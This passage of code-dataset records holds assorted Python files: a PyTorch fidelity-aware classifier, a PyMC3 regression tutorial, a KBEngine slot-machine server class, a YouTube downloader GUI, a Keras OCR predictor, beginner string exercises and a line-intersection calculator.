0.225]\n                ) -> None:\n        \n        super(Model, self).__init__()\n        \n        self.mode = mode.lower()\n        self.downsample_mode = downsample\n        \n        # prepare restoration network, feature extractor, classifier\n        self.restoration = restoration\n        self.feature_extractor = feature_extractor\n        self.classifier = classifier\n        self.img_normal = Normalize(MEAN, STD)\n        self.feature_size = feature_size\n        \n        # prepare fidelity map estimator\n        self.fidelity_output = fidelity_output\n        if fidelity is not None:\n            self.fidelity = fidelity\n            self.fidelity_input = fidelity_input\n        if 'cos' in fidelity_output.lower():\n            self.cos = nn.CosineSimilarity(dim=1, eps=1e-6)\n            in_channels = 1\n        else:\n            in_channels = 3\n            \n        # basic trainable module\n        basic_cnn = nn.Sequential(nn.Conv2d(in_channels=1, out_channels=num_channel, kernel_size=3, padding=1, padding_mode='reflect'),\n                                  nn.ReLU(inplace=True),\n                                  nn.Conv2d(in_channels=num_channel, out_channels=1, kernel_size=3, padding=1, padding_mode='reflect')\n                                 )\n        # spatial multiplication and spatial addition\n        cnn_layers = nn.ModuleList([copy.deepcopy(basic_cnn)])\n        for child in feature_extractor.children():\n            if isinstance(child, nn.Sequential):\n                for subchild in child.children():\n                    if isinstance(subchild, (nn.MaxPool2d, nn.AdaptiveAvgPool2d)):\n                        cnn_layers.append(copy.deepcopy(basic_cnn))\n            elif isinstance(child, (nn.MaxPool2d, nn.AdaptiveAvgPool2d)):\n                cnn_layers.append(copy.deepcopy(basic_cnn))\n        self.cnn_layers_weight = cnn_layers\n        self.cnn_layers_bias = copy.deepcopy(cnn_layers)\n        \n        if 'cos' not in self.fidelity_output.lower():\n            sigma = math.sqrt((0.1**2+0.2**2+0.3**2+0.4**2+0.5**2) / (6.0**2 * 2.0))\n            if 'l1' in self.fidelity_output.lower():\n                mean = sigma * math.sqrt(2.0 / math.pi)\n                std = sigma * math.sqrt(1.0- 2.0 / math.pi)\n            elif 'l2' in self.fidelity_output.lower():\n                mean = sigma**2.0\n                std = math.sqrt(2.0) * sigma**2.0\n            self.fidelity_normal = Normalize([mean]*in_channels, [std]*in_channels)\n        \n        # channel multiplication\n        self.mul_fc = nn.Sequential(nn.Linear(feature_size, int(feature_size * increase)),\n                                    nn.ReLU(inplace=True),\n                                    nn.Linear(int(feature_size * increase), feature_size),\n                                   )\n        \n        # channel concatenation\n        self.cat_fc = nn.Sequential(nn.Linear(feature_size * 2, int(feature_size * increase)),\n                                    nn.ReLU(inplace=True),\n                                    nn.Linear(int(feature_size * increase), feature_size),\n                                   )\n        # ensemble module\n        self.is_ensemble = False\n        self.ensemble = nn.Sequential(nn.Linear(1, int(feature_size * increase)),\n                                      nn.ReLU(inplace=True),\n                                      nn.Linear(int(feature_size * increase), feature_size),\n                                      nn.Sigmoid()\n                                     )\n    \n    def downsample(self, x):\n        \n        x = x.mean(1, keepdim=True)\n        y = x.permute(0, 1, 3, 2)\n        \n        batch_size, num_channels, height, width = x.shape\n        x = x.view(batch_size, num_channels, 1, -1)\n        x = F.interpolate(x, size=(1, self.feature_size//2), mode=self.downsample_mode, align_corners=False)\n        \n        batch_size, num_channels, height, width = y.shape\n        y = y.reshape(batch_size, num_channels, 1, -1)\n        y = F.interpolate(y, size=(1, self.feature_size//2), mode=self.downsample_mode, align_corners=False)\n        \n        return torch.cat((x, y), -1)\n                                                      \n    def forward(self, degraded, origins=None):\n        \n        # get restored image\n        restored = self.restoration(degraded).clamp_(0, 1)\n        \n        # get fidelity map\n        if 'oracle' in self.mode.lower():\n            if 'l1' in self.fidelity_output.lower():\n                fidelity_map = (restored-origins).abs()\n            elif 'l2' in self.fidelity_output.lower():\n                fidelity_map = (restored-origins).square()\n            elif 'cos' in self.fidelity_output.lower():\n                fidelity_map = self.cos(restored, origins)\n                fidelity_map = fidelity_map.unsqueeze(1)\n        else:                                            \n            if 'degraded' in self.fidelity_input.lower():\n                fidelity_map = degraded - self.fidelity(degraded)\n            elif 'restored' in self.fidelity_input.lower():\n                fidelity_map = restored - self.fidelity(restored)\n        \n        # normalize\n        restored = self.img_normal(restored)\n        if 'cos' not in self.fidelity_output.lower():\n            fidelity_map = self.fidelity_normal(fidelity_map)\n            fidelity_map = 1.0 - fidelity_map\n        fidelity_map = fidelity_map.mean(dim=1, keepdim=True)\n        \n        # spatial multiplication and spatial addition\n        restored_feature = restored\n        fidelity_feature_weight = self.cnn_layers_weight[0](fidelity_map)\n        fidelity_feature_bias = self.cnn_layers_bias[0](fidelity_map)\n        restored_feature = 2.0 * torch.sigmoid(fidelity_feature_weight) * restored_feature + fidelity_feature_bias\n        i = 1\n        for child in self.feature_extractor.children():\n            if isinstance(child, nn.Sequential):\n                for subchild in child.children():\n                    if isinstance(subchild, (nn.MaxPool2d, nn.AdaptiveAvgPool2d)):\n                        fidelity_feature_weight = self.cnn_layers_weight[i](fidelity_feature_weight) + fidelity_feature_weight\n                        fidelity_feature_bias = self.cnn_layers_bias[i](fidelity_feature_bias) + fidelity_feature_bias\n                        fidelity_feature_weight = F.interpolate(fidelity_feature_weight, size=restored_feature.shape[-1], \n                                                                mode=self.downsample_mode, align_corners=False)\n                        fidelity_feature_bias = F.interpolate(fidelity_feature_bias, size=restored_feature.shape[-1], \n                                                              mode=self.downsample_mode, align_corners=False)\n                        restored_feature = 2.0 * torch.sigmoid(fidelity_feature_weight) * restored_feature + fidelity_feature_bias\n                        i += 1 \n                    restored_feature = subchild(restored_feature)\n            else:\n                if isinstance(child, (nn.MaxPool2d, nn.AdaptiveAvgPool2d)):\n                    fidelity_feature_weight = self.cnn_layers_weight[i](fidelity_feature_weight) + fidelity_feature_weight\n                    fidelity_feature_bias = self.cnn_layers_bias[i](fidelity_feature_bias) + fidelity_feature_bias\n                    fidelity_feature_weight = F.interpolate(fidelity_feature_weight, size=restored_feature.shape[-1], \n                                                            mode=self.downsample_mode, align_corners=False)\n                    fidelity_feature_bias = F.interpolate(fidelity_feature_bias, size=restored_feature.shape[-1], \n                                                          mode=self.downsample_mode, align_corners=False)\n                    restored_feature = 2.0 * torch.sigmoid(fidelity_feature_weight) * restored_feature + fidelity_feature_bias\n                    i += 1 \n                restored_feature = child(restored_feature)\n                \n        restored_feature = torch.flatten(restored_feature, 1)\n        \n        # channel multiplication and channel concatenation:\n        fidelity_feature = self.downsample(fidelity_map)\n        fidelity_feature = torch.flatten(fidelity_feature, 1)\n        restored_feature = restored_feature * 2.0 * torch.sigmoid(self.mul_fc(fidelity_feature))\n        feature = self.cat_fc(torch.cat((restored_feature, fidelity_feature), -1))\n        \n        if self.is_ensemble:\n            weights = self.ensemble(fidelity_map.mean(-1).mean(-1).mean(-1, keepdim=True))\n            feature = (1.0-weights) * feature + weights * self.feature_extractor(restored)\n\n        return self.classifier(feature)","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":9540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"604328133","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 18 20:56:26 2017\n\n@author: linhb\n\"\"\"\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nnp.random.seed(4)\n\n#read gpa dataset\ndata = pd.read_table(filepath_or_buffer=\"D:/OneDrive/School/Canada/Course/STAT675/Other Dataset/gpa.txt\", \\\n                     dtype={'a': np.float32})\ndata.head()\n\nX1 = np.random.randn(20)\n# plot data\nY = data['College.GPA'].values\nX = data['HS.GPA'].values\nplt.scatter(X, Y)\n\n## Simple Linear Regression model\nfrom sklearn import datasets, linear_model\n# Create linear regression object\nregr = linear_model.LinearRegression()\n\n# Train the model using the training sets\nX_train = X.reshape(20,1)\nY_train = Y.reshape(20,1)\nregr.fit(X_train, Y_train)\n\n# The parameters\nprint('Intercept: \\n', regr.intercept_)\nprint('Coefficients: \\n', regr.coef_)\n\n\n## Bayesian model\nfrom pymc3 import Model, Normal, HalfNormal\n\n# Create model\nbasic_model = Model()\nwith basic_model:\n    # Priors for unknown model parameters\n    alpha = Normal('alpha', mu=0, sd=10)\n    beta = Normal('beta', mu=0, sd=10)\n    sigma = HalfNormal('sigma', sd=1)\n\n    # Expected value of outcome\n    mu = alpha + beta*X\n\n    # Likelihood (sampling distribution) of observations\n    Y_obs = Normal('Y_obs', mu=mu, sd=sigma, observed=Y)\n\n# Train the model\n# Option 1: maximum a posteriori\nfrom pymc3 import find_MAP\nfrom scipy import optimize\nmap_estimate = find_MAP(model=basic_model, fmin=optimize.fmin_powell)\nprint(map_estimate)\n\n# Option 2: MCMC\nfrom pymc3 import NUTS, sample\nfrom pymc3 import Slice\nwith basic_model:\n    # obtain starting values via MAP\n    start = find_MAP(fmin=optimize.fmin_powell)\n    # instantiate sampler\n    step = Slice(vars=[sigma])\n    # draw 5000 posterior samples\n    trace = sample(5000, step=step, start=start)\n\nfrom pymc3 import traceplot\ntraceplot(trace);\n\n\n\n\n\n\n\n","sub_path":"Tutorial_Python/pymc3_regression.py","file_name":"pymc3_regression.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"464744754","text":"#-*- coding: utf-8 -*-\nimport KBEngine\nfrom KBEDebug import *\nfrom Machine import Machine\n\nclass Account(KBEngine.Proxy):\n\tdef __init__(self):\n\n\t\tKBEngine.Proxy.__init__(self)\n\t\tself.money\n\t\tself.barNum\n\t\tself.sevenNum\n\t\tself.starNum\n\t\tself.watermelonNum\n\t\tself.bellNum\n\t\tself.snakemelonNum\n\t\tself.orangeNum\n\t\tself.appleNum\n\t\tself.winScore\n\t\tself.resultItem = ''\n\t\tself.betPaid\n\t\tself.bigSmall = 0\n\t\tself.machine = Machine()\n\n\tdef lessMoney(self, money):\n\t\tif money >= 0 and self.money >= money:\n\t\t\tself.money -= money\n\t\telse:\n\t\t\traise ValueError(\"輸入金額錯誤\")\n\n\tdef addMoney(self, money):\n\t\tif money >= 0:\n\t\t\tself.money += money\n\t\telse:\n\t\t\traise ValueError(\"輸入金額錯誤\")\n\n\tdef depositOne(self):\n\t\tERROR_MSG('depositOne called: '+str(self.money))\n\t\tself.addMoney(1000)\n\n\tdef depositTwo(self):\n\t\tERROR_MSG('depositTwo called: '+str(self.money))\n\t\tself.addMoney(2000)\n\n\tdef pressBarButton(self):\n\t\tself._clearBeforePress()\n\t\tif self.winScore == 0 and self.money >=5 and self.barNum<99:\n\t\t\tself.lessMoney(5)\n\t\t\tself.betPaid += 5\n\t\t\tself.barNum += 1\n\n\tdef pressSevenButton(self):\n\t\tself._clearBeforePress()\n\t\tif self.winScore == 0 and self.money >=5 and self.sevenNum<99:\n\t\t\tself.lessMoney(5)\n\t\t\tself.betPaid += 5\n\t\t\tself.sevenNum += 1\n\n\tdef pressStarButton(self):\n\t\tself._clearBeforePress()\n\t\tif self.winScore == 0 and self.money >=5 and self.starNum<99:\n\t\t\tself.lessMoney(5)\n\t\t\tself.betPaid += 5\n\t\t\tself.starNum += 1\n\n\tdef pressWatermelonButton(self):\n\t\tself._clearBeforePress()\n\t\tif self.winScore == 0 and self.money >=5 and self.watermelonNum<99:\n\t\t\tself.lessMoney(5)\n\t\t\tself.betPaid += 5\n\t\t\tself.watermelonNum += 1\n\n\tdef pressBellButton(self):\n\t\tself._clearBeforePress()\n\t\tif self.winScore == 0 and self.money >=5 and self.bellNum<99:\n\t\t\tself.lessMoney(5)\n\t\t\tself.betPaid += 5\n\t\t\tself.bellNum += 1\n\n\tdef pressSnakemelonButton(self):\n\t\tself._clearBeforePress()\n\t\tif self.winScore == 0 and self.money >=5 and self.snakemelonNum<99:\n\t\t\tself.lessMoney(5)\n\t\t\tself.betPaid += 5\n\t\t\tself.snakemelonNum += 1\n\n\tdef pressOrangeButton(self):\n\t\tself._clearBeforePress()\n\t\tif self.winScore == 0 and self.money >=5 and self.orangeNum<99:\n\t\t\tself.lessMoney(5)\n\t\t\tself.betPaid += 5\n\t\t\tself.orangeNum += 1\n\n\tdef pressAppleButton(self):\n\t\tself._clearBeforePress()\n\t\tif self.winScore == 0 and self.money >=5 and self.appleNum<99:\n\t\t\tself.lessMoney(5)\n\t\t\tself.betPaid += 5\n\t\t\tself.appleNum += 1\n\n\tdef pressWinScoreToMoneyButton(self):\n\t\tself._clearBeforePress()\n\t\tif self.winScore >0:\n\t\t\tself.addMoney(self.winScore)\n\t\t\tself.winScore = 0\n\n\tdef pressStartButton(self):\n\t\tself._clearBeforePress()\n\t\tself.machine.start(self)\n\n\tdef pressBigButton(self):\n\t\tself._clearBeforePress()\n\t\tif self.winScore >0:\n\t\t\tself.bigSmall = 2\n\t\t\tself.machine.bet_big_small(self)\n\n\tdef pressSmallButton(self):\n\t\tself._clearBeforePress()\n\t\tif self.winScore >0:\n\t\t\tself.bigSmall = 1\n\t\t\tself.machine.bet_big_small(self)\n\n\tdef pressClearButton(self):\n\t\tself._clearBeforePress()\n\t\tself.barNum = 0\n\t\tself.sevenNum = 0\n\t\tself.starNum = 0\n\t\tself.watermelonNum = 0\n\t\tself.bellNum = 0\n\t\tself.snakemelonNum = 0\n\t\tself.orangeNum = 0\n\t\tself.appleNum = 0\n\t\tself.addMoney(self.betPaid)\n\t\tself.betPaid = 0\n\n\tdef _clearBeforePress(self):\n\t\tself.resultItem = ''\n\t\tself.bigSmall = 0\n\n\tdef getAccountInfo(self):\n\t\taccountInfo = {'money':self.money, 'barNum':self.barNum, 'sevenNum':self.sevenNum, 'starNum':self.starNum,\n\t\t\t\t\t\t'watermelonNum':self.watermelonNum, 'bellNum':self.bellNum,'snakemelonNum':self.snakemelonNum,\n\t\t\t\t\t\t'orangeNum':self.orangeNum, 'appleNum':self.appleNum, 'winScore':self.winScore,\n\t\t\t\t\t\t'resultItem':self.resultItem, 'bigSmall':self.bigSmall}\n\t\tself.writeToDB()\n\t\tself.client.onGetAccountInfo(accountInfo)\n\n\tdef onTimer(self, id, userArg):\n\t\t\"\"\"\n\t\tKBEngine method.\n\t\t使用addTimer后， 当时间到达则该接口被调用\n\t\t@param id\t\t: addTimer 的返回值ID\n\t\t@param userArg\t: addTimer 最后一个参数所给入的数据\n\t\t\"\"\"\n\t\tDEBUG_MSG(id, userArg)\n\n\tdef onEntitiesEnabled(self):\n\t\t\"\"\"\n\t\tKBEngine method.\n\t\t该entity被正式激活为可使用， 此时entity已经建立了client对应实体， 可以在此创建它的\n\t\tcell部分。\n\t\t\"\"\"\n\t\tINFO_MSG(\"account[%i] entities enable. mailbox:%s\" % (self.id, self.client))\n\n\tdef onLogOnAttempt(self, ip, port, password):\n\t\t\"\"\"\n\t\tKBEngine method.\n\t\t客户端登陆失败时会回调到这里\n\t\t\"\"\"\n\t\tINFO_MSG(ip, port, password)\n\t\treturn KBEngine.LOG_ON_ACCEPT\n\n\tdef onClientDeath(self):\n\t\t\"\"\"\n\t\tKBEngine method.\n\t\t客户端对应实体已经销毁\n\t\t\"\"\"\n\t\tDEBUG_MSG(\"Account[%i].onClientDeath:\" % self.id)\n\t\tself.destroy()\n","sub_path":"scripts/base/Account.py","file_name":"Account.py","file_ext":"py","file_size_in_byte":4563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"574959642","text":"from tkinter import *\r\nfrom pytube import YouTube\r\nbox=Tk()\r\nLabel(box,text='Link').pack()\r\nlink=Entry(box)\r\nlink.pack()\r\ndef downloader():\r\n    SAVE_PATH = \"P:/\" \r\n    try: \r\n        yt = YouTube(link.get()) \r\n    except: \r\n        print(\"Connection Error\")\r\n    mp4files = yt.streams.first()\r\n    try: \r\n        mp4files.download(SAVE_PATH)\r\n    except: \r\n        print(\"Some Error!\") \r\n    print('Task Completed!') \r\ndownload=Button(box,text='download',command=downloader)\r\ndownload.pack()\r\nbox.mainloop()","sub_path":"downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"27065163","text":"import os\n\nimport numpy as np\nfrom tensorflow import keras\n\nclass_names = ['A', 'B', 'C', 'D', 'E',\n               'F', 'G', 'H', 'I', 'J',\n               'K', 'L', 'M', 'N', 'O',\n               'P', 'Q', 'R', 'S', 'T',\n               'U', 'V', 'W', 'X', 'Y',\n               'Z']\n\nclass MyPredictor(object):\n    \"\"\"An example Predictor for an AI Platform custom prediction routine.\"\"\"\n\n    def __init__(self, model):\n        \"\"\"Stores artifacts for prediction. Only initialized via `from_path`.\n        \"\"\"\n        self._model = model\n\n    def predict(self, instances, **kwargs):\n        \"\"\"Performs custom prediction.\n\n        Preprocesses inputs, then performs prediction using the trained Keras\n        model.\n\n        Args:\n            instances: A list of prediction input instances.\n            **kwargs: A dictionary of keyword args provided as additional\n                fields on the predict request body.\n\n        Returns:\n            A list of outputs containing the prediction results.\n        \"\"\"\n        inputs = np.asarray(instances)\n        n=len(instances)\n        inputs = inputs.reshape(n, 28, 28, 1)  # reshape for model\n        inputs = inputs.astype('float32')\n        inputs /= 255 \n        outputs = self._model.predict(inputs)\n\n        result=[]\n        for output in outputs:\n            result.append=class_names[np.argmax(output)]\n        return result\n\n    @classmethod\n    def from_path(cls, model_dir):\n        \"\"\"Creates an instance of MyPredictor using the given path.\n\n        This loads artifacts that have been copied from your model directory in\n        Cloud Storage. MyPredictor uses them during prediction.\n\n        Args:\n            model_dir: The local directory that contains the trained Keras\n                model and the pickled preprocessor instance. These are copied\n                from the Cloud Storage model directory you provide when you\n                deploy a version resource.\n\n        Returns:\n            An instance of `MyPredictor`.\n        \"\"\"\n        model_path = os.path.join(model_dir, 'my_model.h5')\n        model = keras.models.load_model(model_path)\n\n        return cls(model)","sub_path":"custom-ocr-service/predictor.py","file_name":"predictor.py","file_ext":"py","file_size_in_byte":2144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"431811188","text":"''' beginners exercise to count and return occurrences of last 2 char\n    substring in preceding part of a string argument '''\n\n\ndef Zarren_Donovan_Spry_count2(pattern):\n    #lenString = stringLen(string)\n\n    def stringLen(theString):\n        result = 0\n        for i in theString:\n            result = result + 1\n        return result\n\n    lenString = 2\n    lenPattern = stringLen(pattern)\n    i = 0\n    matchCount = 0\n    string = pattern[-lenString:]\n    while i < lenPattern:\n        searchPattern = pattern[i:i + lenString]\n        if stringLen(searchPattern) == lenString:\n            if searchPattern == string and i < (lenPattern - lenString):\n                matchCount = matchCount + 1\n        i = i + 1\n    if matchCount == 1:\n        if lenPattern <= lenString + 1:\n            return 0\n        else:\n            return matchCount\n    else:\n        return matchCount\n\n\n''' test harness for all of above solutions '''\n\n\ndef test_a_count_f(*funcs):\n    ''' test of supplied function to count occurences of last 2 char substring in source'''\n    tests = [('abab', 1),\n             ('abcdefxy', 0),\n             ('abcdabcdab', 2),\n             ('abbcdabbbcbb', 3),\n             ('abbbcdabbcbb', 3),\n             ('', 0), ('ab', 0), ('abc', 0),\n             ('failedtest', 999)\n             ]\n\n    for func in funcs:\n        print(f'\\nTesting function {func.__name__}\\n')\n        for test, assertion in tests:\n            count = func(test)\n            try:\n                assert count == assertion\n            except AssertionError:\n                print(\n                    f'*** ERROR **>> test data {test} returned a count of {count} instead of {assertion}')\n            else:\n                print(\n                    f'{test[-2:]} found in {test} {count} times.')\n\n\nif __name__ == \"__main__\":\n    print('''\n\nTesting all solutions of beginner's exercise:\nCount and return occurrences of last 2 char\nsubstring in preceding part of a string argument.\n\nThe LAST occurrence (i.e. the search sub-string) is\nnot included in the counts.\n''')\n    test_a_count_f(Zarren_Donovan_Spry_count2)\n","sub_path":"archive/count2_Zarren.py","file_name":"count2_Zarren.py","file_ext":"py","file_size_in_byte":2098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"431875678","text":"# [ ] review and run example\nword = \"cello\"\n\nfor letter in word:\n    print(letter)\n\nprint()    \n# [ ] review and run example\n# note: the variable 'letter' changed to 'item'\nword = \"trumpet\"\n\nfor item in word:\n    print(item)\n# [ ] review and run example\n# note: variable is now 'xyz' \n# using 'xyz', 'item' or 'letter' are all the same result\nword = \"piano\"\nprint()    \nfor xyz in word:\n    print(xyz)\n# [ ] review and run example\n# creates a new string (new_name) adding a letter (ltr) each loop\n# Q?: how many times will the loop run?\nstudent_name = \"Skye\"\nnew_name = \"\"\nprint() \n\nfor ltr in student_name:\n    if ltr.lower() == \"y\":\n        new_name += ltr.upper()\n    else:\n        new_name += ltr\nprint(student_name,\"to\",new_name)\n\n#[ ] Get user input for first_name\n# [ ] iterate through letters in first_name \n#    - print each letter on a new line\nFirst_name = input(\"Enter your first name : \")\nnew_name = \" \"\nfor wrd in First_name:\n    if wrd.lower() == \"i\":\n        new_name += wrd.upper()\n    elif wrd.lower() == \"o\":\n        new_name += wrd.upper()    \n    else:\n        new_name += wrd \nprint (First_name , \" to \", new_name)  \n\n#Ieration and Slicing\n# [ ] review and run example\nstudent_name = \"Skye\"\n\nfor letter in student_name[:3]:\n    print(letter)\nprint()\n# Iterate BACKWARDS\n# [ ] review and run example\nstudent_name = \"Skye\"\n\n# start at \"y\" (student_name[2]), iterate backwards\nfor letter in student_name[2::-1]:\n    print(letter)\n\n# [ ] create & print a variable, other_word, made of every other letter in long_word\nlong_word = \"juxtaposition\"\nother_word = \" \"\nfor ltr in long_word[::2]:\n    other_word += ltr\nprint(other_word)    \n# Mirror Color\n# [ ] get user input, fav_color\n# [ ] print fav_color backwards + fav_color\n# example: \"Red\" prints \"deRRed\"\nfav_color = input(\" Enter our favorite color : \")\nnew_color =\"\"\nfor ltr in fav_color[::-1]:\n    new_color += ltr\nprint(new_color.lower() + fav_color.title())    ","sub_path":"Iterating String.py","file_name":"Iterating String.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"559573909","text":"# Name:          Farris Matar\r\n# Date:          April 4, 2017\r\n# Description:   Working with 2 equations of lines.\r\n\r\n# Getting the equation from the user.\r\nequation1 = input(\"Enter the first equation in y-intercept form (no spaces): \")\r\nequation2 = input(\"Enter the second equation in y-intercept form (no spaces): \")\r\n\r\n# Determining the slope and y-intercept for equation 1.\r\n# Checking any special cases for the equation.\r\nif equation1 == \"y=x\":\r\n    slope1 = 1\r\n    yIntercept1 = 0\r\nelif equation1 == \"y=-x\":\r\n    slope1 = -1\r\n    yIntercept1 = 0\r\nelif equation1.count('+') == 0 and equation1[3:].count('-') == 0 and equation1.count('x') == 0:\r\n    slope1 = 0\r\n    limit1 = equation1.find('=')\r\n    yIntercept1 = equation1[limit1+1:]\r\nelif equation1.count('x') == 1 and equation1[3:].count('-') == 0 and equation1[3:].count('+') == 0:\r\n    yIntercept1 = 0\r\n    xLimit1 = equation1.find('x')\r\n    limit1 = equation1.find('=')\r\n    slope1 = equation1[limit1+1:xLimit1]\r\n# Finding the values normally.\r\nelse:\r\n    limit1 = equation1.find('=')\r\n    xLimit1 = equation1.find('x')\r\n    bLimit1 = equation1.find('+')\r\n    slope1 = equation1[limit1+1:xLimit1]\r\n    if \"y=x\" in equation1:\r\n        slope1 = 1\r\n    elif \"y=-x\" in equation1:\r\n        slope1 = -1        \r\n    if equation1.count('+') == 0:\r\n        if equation1[xLimit1:].count('-') == 1:\r\n            yIntercept1 = equation1[xLimit1+1:]\r\n    else:\r\n        yIntercept1 = equation1[bLimit1+1:]\r\n\r\n# Doing the same thing for equation 2.\r\nif equation2 == \"y=x\":\r\n    slope2 = 1\r\n    yIntercept2 = 0\r\nelif equation2 == \"y=-x\":\r\n    slope2 = -1\r\n    yIntercept2 = 0\r\nelif equation2.count('+') == 0 and equation2[3:].count('-') == 0 and equation2.count('x') == 0:\r\n    slope2 = 0\r\n    limit2 = equation2.find('=')\r\n    yIntercept2 = equation2[limit2+1:]\r\nelif equation2.count('x') == 1 and equation2[3:].count('-') == 0 and equation2[3:].count('+') == 0:\r\n    yIntercept2 = 0\r\n    xLimit2 = equation2.find('x')\r\n    limit2 = equation2.find('=')\r\n    slope2 = equation2[limit2+1:xLimit2]\r\nelse:\r\n    limit2 = equation2.find('=')\r\n    xLimit2 = equation2.find('x')\r\n    bLimit2 = equation2.find('+')\r\n    slope2 = equation2[limit2+1:xLimit2]\r\n    if \"y=x\" in equation2:\r\n        slope2 = 1\r\n    elif \"y=-x\" in equation2:\r\n        slope2 = -1\r\n    if equation2.count('+') == 0:\r\n        if equation2[xLimit2:].count('-') == 1:\r\n            yIntercept2 = equation2[xLimit2+1:]\r\n    else:\r\n        yIntercept2 = equation2[bLimit2+1:]\r\n    \r\n\r\n# Making a function to find the point of intersection.\r\ndef findPOI1(slope1, yIntercept1, slope2, yIntercept2):\r\n    newSlope = slope1 - slope2\r\n    newIntercept = yIntercept1 - yIntercept2\r\n    poiX = (newIntercept*-1)/newSlope\r\n    poiY = (poiX*slope1 + yIntercept1)\r\n    if poiX == -0:\r\n        poiX = poiX*-1\r\n    if poiY == -0:\r\n        poiY = poiY*-1\r\n    print(\"The point of intersection is at (%1.2f, %1.2f).\" % (poiX,poiY))\r\n    if poiX > 0 and poiY > 0:\r\n        print(\"The point of intersection is in quadrant 1.\")\r\n    elif poiX < 0 and poiY > 0:\r\n        print(\"The point of intersection is in quadrant 2.\")\r\n    elif poiX < 0 and poiY < 0:\r\n        print(\"The point of intersection is in quadrant 3.\")\r\n    elif poiX > 0 and poiY < 0:\r\n        print(\"The point of intersection is in quadrant 4.\")\r\n    elif poiX == 0 and poiY > 0:\r\n        print(\"The point of intersection is between quardrants 1 and 2.\")\r\n    elif poiX == 0 and poiY < 0:\r\n        print(\"The point of intersection is between quardrants 3 and 4.\")\r\n    elif poiX > 0 and poiY == 0:\r\n        print(\"The point of intersection is between quardrants 1 and 4.\")\r\n    elif poiX < 0 and poiY == 0:\r\n        print(\"The point of intersection is between quardrants 2 and 3.\")\r\n    elif poiX == 0 and poiY == 0:\r\n        print(\"The point of intersection at the origin.\")\r\n\r\n# Determining if lines are parallel, the same line or different, and printing\r\n# the result.\r\nif slope1 == slope2 and yIntercept1 != yIntercept2:\r\n    print(\"The two lines are parallel and will never intersect.\")\r\nelif equation1 == equation2:\r\n    print(\"The two lines are exactly the same and intersect infinitely.\")\r\nelse:\r\n    findPOI1(float(slope1),float(yIntercept1),float(slope2),float(yIntercept2))\r\n","sub_path":"PointOfIntersectionFunction.py","file_name":"PointOfIntersectionFunction.py","file_ext":"py","file_size_in_byte":4244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"147858722","text":"import os\nimport numpy as np\nfrom collections import OrderedDict\n\nfrom target import SampleRandomVector\nfrom srom import SROM\nfrom postprocess import Postprocessor\n\n'''\nCompare SROMs for inputs - produce figure 3 in the paper\n'''\n\n#Target Monte Carlo input samples for comparison\ntargetsamples = \"mc_data/input_samples_MC.txt\"\n\n#SElect 3 SROM sizes\nsromsizes = [5,10,20]\nsrom_dir = \"srom_data\"\n\n#Plotting specs:\nvarz = [r'log$C$', r'$y_{0}$', r'$n$']\ncdfylabel = True        #Label y axis as \"CDF\"\nplot_dir = \"plots\"\nplot_suffix = \"SROM_input_CDF_m\"\nfor m in sromsizes:\n    plot_suffix += \"_\" + str(m)\n\n#Xtick labels for each variable (only modify y0):\ny0ticks = ['0.245', '', '0.255', '', '0.265', '', '0.275']\ny0ticks = ['', '0.245', '', '0.255', '', '0.265', '', '0.275']\nxticks = [None, y0ticks, None]\n\n#Load / initialize target random variable from samples:\nsamples = np.genfromtxt(targetsamples)\ntarget = SampleRandomVector(samples)\n\n#Set x limits for each variable based on target:\nxlimits = []\nfor i in range(target._dim):\n    lims = [np.min(samples[:,i]), np.max(samples[:,i])]\n    xlimits.append(lims)\n\n#Build up sromsize-to-SROM object map for plotting routine\nsroms = OrderedDict()\n\nfor sromsize in sromsizes:\n\n    #Generate SROM from file:\n    srom = SROM(sromsize, target._dim)\n    sromfile = \"srom_m\" + str(sromsize) + \".txt\"\n    sromfile = os.path.join(srom_dir, sromfile)\n    srom.load_params(sromfile)\n    sroms[sromsize] = srom\n \nPostprocessor.compare_srom_CDFs(sroms, target, plotdir=\"plots\",\n                                plotsuffix=plot_suffix, variablenames=varz,                                     xlimits=xlimits, xticks=xticks,\n                                cdfylabel=cdfylabel)\n\n","sub_path":"examples/phm18/compare_input_srom_CDFs.py","file_name":"compare_input_srom_CDFs.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"634847571","text":"import collections\nimport csv\n\n\ndef swapchars(someString):\n    # use a counter to sort letters by frequency\n    counter = collections.Counter(someString)\n    sortedChars = [tuple[0] for tuple in counter.most_common()]\n    sortedAlphaChars = filter(str.isalpha, sortedChars)\n    \n    # ensure there are letters to swap, then find them\n    if sortedAlphaChars == []:\n        return someString\n    mostFrequentChar = sortedAlphaChars[0]\n    leastFrequentChar = sortedAlphaChars[-1]\n    \n    # maps an input char to an output char\n    def getNewChar(someChar):\n        if someChar  == mostFrequentChar:\n            return leastFrequentChar\n        if someChar == leastFrequentChar:\n            return mostFrequentChar\n        return someChar\n    \n    # map and join\n    return ''.join(map(getNewChar, someString))\n\n\ndef sortcat(numStrings, *strings):\n    # check params\n    if numStrings < 0:\n        return ''\n    if numStrings > len(strings):\n        numStrings = len(strings)\n    \n    # sort, slice, join\n    stringList = [s for s in strings]\n    stringList.sort(key=len, reverse=True)\n    return ''.join(stringList[:numStrings])\n\n\n# returns a map from a state abbreviation file\ndef readStates(filename):\n    abbreviations = {}\n    file = open(filename, 'r')\n    try:\n        for row in csv.reader(file):\n            abbreviations[row[1]] = row[0]\n    